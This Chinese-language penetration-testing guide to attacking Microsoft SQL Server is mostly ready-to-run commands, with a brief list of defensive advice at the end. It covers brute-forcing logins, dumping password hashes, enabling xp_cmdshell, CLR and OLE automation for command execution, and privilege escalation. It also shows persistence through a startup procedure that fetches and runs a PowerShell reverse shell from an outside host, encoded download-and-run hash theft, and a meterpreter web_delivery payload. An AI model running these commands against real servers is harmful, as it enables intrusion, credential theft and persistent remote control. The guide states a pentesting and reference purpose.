mssql攻防探究
字数 601 2025-08-18 11:36:36
MSSQL攻防技术全面指南
一、基础信息探测
1. 使用Nmap进行扫描
# 查找MSSQL相关的NSE脚本
locate *.nse | grep ms-sql
# 扫描MSSQL版本信息
nmap -p 1433 --script ms-sql-info 192.168.3.130
# 暴力破解MSSQL账号
nmap -p1433 --script ms-sql-brute --script-args userdb=users.txt,passdb=pass.txt 192.168.3.130
# 通过NetBIOS枚举信息
nmap -p1433 --script ms-sql-ntlm-info 192.168.3.130
# 转储密码哈希
nmap -p1433 --script ms-sql-dump-hashes --script-args mssql.username=sa,mssql.password=admin 192.168.3.130
# 枚举数据库表
nmap -p1433 --script ms-sql-tables --script-args mssql.username=sa,mssql.password=admin 192.168.3.130
2. 使用Metasploit进行扫描
# 定位MSSQL服务器
use auxiliary/scanner/mssql/mssql_ping
set rhosts 192.168.3.0/24
set threads 255
exploit
# 密码破解
use auxiliary/scanner/mssql/mssql_login
set rhosts 192.168.3.130
set user_file users.txt
set pass_file pass.txt
set verbose false
exploit
# 获取版本信息
use auxiliary/admin/mssql/mssql_sql
set rhosts 192.168.3.130
set username sa
set password admin
exploit
# 枚举MSSQL信息
use auxiliary/admin/mssql/mssql_enum
set rhosts 192.168.3.130
set username sa
set password admin
exploit
# 用户枚举
use auxiliary/admin/mssql/mssql_enum_sql_login
set rhosts 192.168.3.130
set username sa
set password admin
exploit
二、命令执行技术
1. xp_cmdshell
-- 检查是否为DBA权限
SELECT IS_SRVROLEMEMBER('sysadmin');
-- 检查xp_cmdshell是否存在
SELECT COUNT(*) FROM master.dbo.sysobjects WHERE xtype='x' AND name='xp_cmdshell'
-- 启用xp_cmdshell
EXEC sp_configure 'show advanced options', 1;
RECONFIGURE;
EXEC sp_configure 'xp_cmdshell', 1;
RECONFIGURE;
-- 执行命令
EXEC master..xp_cmdshell 'whoami';
-- 禁用xp_cmdshell
EXEC sp_configure 'show advanced options', 1;
RECONFIGURE;
EXEC sp_configure 'xp_cmdshell', 0;
RECONFIGURE;
2. 使用sqsh工具执行命令
sqsh -S 192.168.3.130 -U sa -P "admin"
EXEC sp_configure 'show advanced options', 1;
EXEC sp_configure 'xp_cmdshell', 1;
RECONFIGURE;
go
xp_cmdshell 'whoami';
go
3. 使用mssqlclient.py连接
python3 mssqlclient.py administrator:123456@192.168.3.129 -port 1433 -windows-auth
enable_xp_cmdshell
xp_cmdshell "net user"
三、权限提升技术
1. 从db_owner到sysadmin
use auxiliary/admin/mssql/mssql_escalate_dbowner
set rhosts 192.168.3.130
set username test1
set password admin@123
exploit
2. 模拟其他用户提权
use auxiliary/admin/mssql/mssql_escalate_execute_as
set rhosts 192.168.3.130
set username test1
set password admin@123
exploit
3. 滥用Trustworthy属性(db_owner提权)
-- 检查数据库可信属性
select name,is_trustworthy_on from sys.databases
-- 激活可信属性
ALTER DATABASE [ignite] SET TRUSTWORTHY ON
-- 模拟dbo用户
EXECUTE AS USER = 'dbo';
SELECT system_user;
四、高级攻击技术
1. CLR程序集执行命令
// C#代码示例
using System;
using System.Data;
using System.Data.SqlClient;
using System.Data.SqlTypes;
using Microsoft.SqlServer.Server;
using System.IO;
using System.Diagnostics;
using System.Text;
public partial class StoredProcedures
{
[Microsoft.SqlServer.Server.SqlProcedure]
public static void cmd_exec(SqlString execCommand)
{
Process proc = new Process();
proc.StartInfo.FileName = @"C:\Windows\System32\cmd.exe";
proc.StartInfo.Arguments = string.Format(@" /C {0}", execCommand.Value);
proc.StartInfo.UseShellExecute = false;
proc.StartInfo.RedirectStandardOutput = true;
proc.Start();
SqlDataRecord record = new SqlDataRecord(new SqlMetaData("output", SqlDbType.NVarChar, 4000));
SqlContext.Pipe.SendResultsStart(record);
record.SetString(0, proc.StandardOutput.ReadToEnd().ToString());
SqlContext.Pipe.SendResultsRow(record);
SqlContext.Pipe.SendResultsEnd();
proc.WaitForExit();
proc.Close();
}
};
-- 启用CLR集成
EXEC sp_configure 'clr enabled', 1;
RECONFIGURE
GO
-- 创建程序集
CREATE ASSEMBLY shell FROM 'c:\temp\shell.dll' WITH PERMISSION_SET = UNSAFE;
-- 创建存储过程
CREATE PROCEDURE [dbo].[cmd_exec] @execCommand NVARCHAR (4000) AS EXTERNAL NAME [shell].[StoredProcedures].[cmd_exec];
GO
-- 执行命令
EXEC [dbo].[cmd_exec] 'whoami'
2. 使用SP_OACREATE执行命令
-- 检查OLE自动化是否开启
EXEC sp_configure 'Ole Automation Procedures';
GO
-- 开启OLE自动化
sp_configure 'show advanced options', 1;
GO
RECONFIGURE;
GO
sp_configure 'Ole Automation Procedures', 1;
GO
RECONFIGURE;
GO
-- 执行命令(无回显)
declare @shell int exec sp_oacreate 'wscript.shell',@shell output exec sp_oamethod @shell,'run',null,'C:\\Windows\\System32\\cmd.exe /c whoami /all > C:\\Users\\Administrator\\Desktop\\1.txt';
3. 使用外部脚本执行命令
-- 检查外部脚本是否启用
sp_configure 'external scripts enabled'
GO
-- 启用外部脚本
EXECUTE sp_configure 'external scripts enabled', 1;
GO
RECONFIGURE;
GO
-- 执行Python命令
EXECUTE sp_execute_external_script @language = N'Python', @script = N'print(__import__("os").system("ipconfig"))'
-- 执行R脚本
EXEC sp_execute_external_script
@language=N'R',
@script=N'OutputDataSet <- data.frame(system("cmd.exe /c ipconfig",intern=T))'
WITH RESULT SETS (([cmd_out] text));
GO
五、权限维持技术
1. 使用存储过程进行权限维持
-- 创建存储过程
USE master
GO
CREATE PROCEDURE test_sp
AS
EXEC master..xp_cmdshell 'powershell -C "iex (new-object System.Net.WebClient).DownloadString(\"http://192.168.3.133:8081/Invoke-PowerShellTcpOneLine.ps1\")"'
GO
-- 设置为启动时执行
EXEC sp_procoption @ProcName = 'test_sp', @OptionName = 'startup', @OptionValue = 'on';
-- 查询启动存储过程
SELECT * FROM sysobjects WHERE type = 'P' AND OBJECTPROPERTY(id, 'ExecIsStartUp') = 1;
六、其他实用技术
1. 通过HTTP加密代理建立TCP连接
python2 abpttsclient.py -u "http://192.168.3.13:84/abptts.aspx" -c webshell\config.txt -f 127.0.0.1:143/192.168.3.13:1433
2. 远程加载PowerShell脚本
$text = "IEX (New-Object Net.WebClient).DownloadString('http://192.168.3.1/Get-PassHashes.ps1');Get-PassHashes;"
$Bytes = [System.Text.Encoding]::Unicode.GetBytes($Text)
$EncodedText =[Convert]::ToBase64String($Bytes)
$EncodedText > bs64.txt
-- 执行Base64编码的PowerShell命令
exec master..xp_cmdshell 'powershell -exec bypass -encodedcommand SQBFAFgAIAAoAE4AZQB3AC0ATwBiAGoAZQBjAHQAIABOAGUAdAAuAFcAZQBiAEMAbABpAGUAbgB0ACkALgBEAG8AdwBuAGwAbwBhAGQAUwB0AHIAaQBuAGcAKAAnAGgAdAB0AHAAOgAvAC8AMQA5ADIALgAxADYAOAAuADMALgAxAC8ARwBlAHQALQBQAGEAcwBzAEgAYQBzAGgAZQBzAC4AcABzADEACgAnACkAOwBHAGUAdAAtAFAAYQBzAHMASABhAHMAaABlAHMAOwA=';
3. 使用crackmapexec调用web_delivery模块
# MSF启动web_delivery模块
use exploit/multi/script/web_delivery
set target 2
set payload windows/meterpreter/reverse_tcp
set lhost 192.168.3.133
exploit
# crackmapexec执行
crackmapexec mssql 192.168.3.129 -u 'administrator' -p '123456' -M web_delivery -o URL=http://192.168.3.133:8080/9SwSSB2rIZOWEP
七、防御建议
- 禁用不必要的存储过程如xp_cmdshell、OLE自动化等
- 限制数据库可信属性(TRUSTWORTHY)
- 严格控制CLR程序集的使用
- 使用强密码策略,特别是sa账户
- 定期审计数据库权限和用户角色
- 监控异常登录和命令执行行为
- 及时安装MSSQL安全补丁
- 限制网络访问,仅允许必要IP连接
本指南涵盖了MSSQL渗透测试中的主要技术点,从基础信息收集到高级权限提升和维持技术,为安全研究人员提供了全面的参考。在实际测试中,应根据目标环境选择合适的技术组合。